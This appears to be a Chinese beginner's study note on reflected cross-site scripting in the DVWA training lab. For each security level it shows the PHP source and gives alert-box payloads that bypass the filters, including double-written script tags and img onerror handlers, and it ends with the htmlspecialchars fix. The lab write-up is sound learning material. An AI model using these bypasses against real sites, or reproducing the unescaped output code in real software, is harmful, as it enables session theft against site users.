XSS,全称Cross Site Scripting,即跨站脚本攻击,也相当于是一种代码注入攻击,hacker在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行(这里要说明下,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言)。
根据注入的恶意代码是否存储在服务器数据库中,XSS可以分为存储型的XSS与反射型的XSS。
还有DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如:服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。
注:DOM型XSS可能是存储型,也有可能是反射型。
XSS利用的常见用途:
盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限…
这篇文章学习反射型XSS:
反射型XSS:非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
low level
view-source:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
没有任何过滤,直接上测试代码:<script>alert(1)</script>
弹窗即OK!
medium level
view-source:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
利用str_replace将<script>
替换为空,这个有以下方式绕过:
1、双写绕过
payload:<scr<script>ipt>alert(1)</script>
原理将<scr<script>ipt>
里边的<script>
替换为空的时候前后的代码重新组成
3、利用其他标签绕过
例如:<body onclick=alert(1)>
<a href='' οnclick=alert(1)>click</a>
<a href='' οnclick=alert(/ss/)>click</a>
均可以弹窗!
high level
view-source:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
看代码preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'
过滤了所有<script>
的情况,因此以上方法不适用了,换一种思路:
使用其他标签利用src注入恶意的JS代码可以绕过上面的过滤:
例如:
payload:<img src=1 onerror=alert('1')>
还可以用其他标签,不过没有一个个去试…
**
impossible
**
view-source:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
这里没办法XSS......
其他的会后续慢慢更新,尽可能提高自己的能力 。
【小白初试】